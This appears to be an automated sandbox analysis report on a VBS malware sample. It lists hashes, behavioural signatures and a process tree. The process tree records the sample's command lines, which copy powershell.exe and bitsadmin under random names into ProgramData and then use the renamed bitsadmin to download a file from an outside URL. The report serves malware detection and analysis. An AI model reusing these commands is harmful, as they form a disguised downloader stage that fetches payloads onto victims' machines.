Analysis
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max time kernel
27s -
max time network
28s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
01-03-2021 13:25
Static task
static1
Behavioral task
behavioral1
Sample
00SBLFNC71R18D160W.vbs
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
General
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Target
00SBLFNC71R18D160W.vbs
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Size
699B
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MD5
70053c798a635f12c002e57eacb3bd26
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SHA1
4cbe4c33fc5f44265e15bb6e583f46c878a97341
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SHA256
43202b6bcac9d8c195da84abee91ebd15ee80337421dc6e0eaa1c2e1481bb123
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SHA512
62652ceb291614da3b19be434fe3db7f1777e080b3e030c370cea1112dbd81a677a917ef356265bdeed732af89ebab6760cd7996179a477fe595ae4795402c69
Malware Config
Signatures
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Executes dropped EXE 1 IoCs
pid Process 1968 lALIBfVin.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious use of WriteProcessMemory 13 IoCs
description pid Process procid_target PID 1852 wrote to memory of 872 1852 WScript.exe 26 PID 1852 wrote to memory of 872 1852 WScript.exe 26 PID 1852 wrote to memory of 872 1852 WScript.exe 26 PID 872 wrote to memory of 1152 872 cmd.exe 28 PID 872 wrote to memory of 1152 872 cmd.exe 28 PID 872 wrote to memory of 1152 872 cmd.exe 28 PID 872 wrote to memory of 1988 872 cmd.exe 29 PID 872 wrote to memory of 1988 872 cmd.exe 29 PID 872 wrote to memory of 1988 872 cmd.exe 29 PID 1852 wrote to memory of 1968 1852 WScript.exe 30 PID 1852 wrote to memory of 1968 1852 WScript.exe 30 PID 1852 wrote to memory of 1968 1852 WScript.exe 30 PID 1852 wrote to memory of 1968 1852 WScript.exe 30
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\00SBLFNC71R18D160W.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:1852 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aREepkDUA.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\lALIBfV*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:872 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aREepkDUA.exe3⤵PID:1152
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\lALIBfV*.exe3⤵PID:1988
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C:\ProgramData\lALIBfVin.exe"C:\ProgramData\lALIBfVin.exe" /wrap /transfer wyajDGCI https://agaux.com/ogoksi/SBLFNC71R18D160W/developer.txt C:\ProgramData\developer.txt2⤵
- Executes dropped EXE
PID:1968
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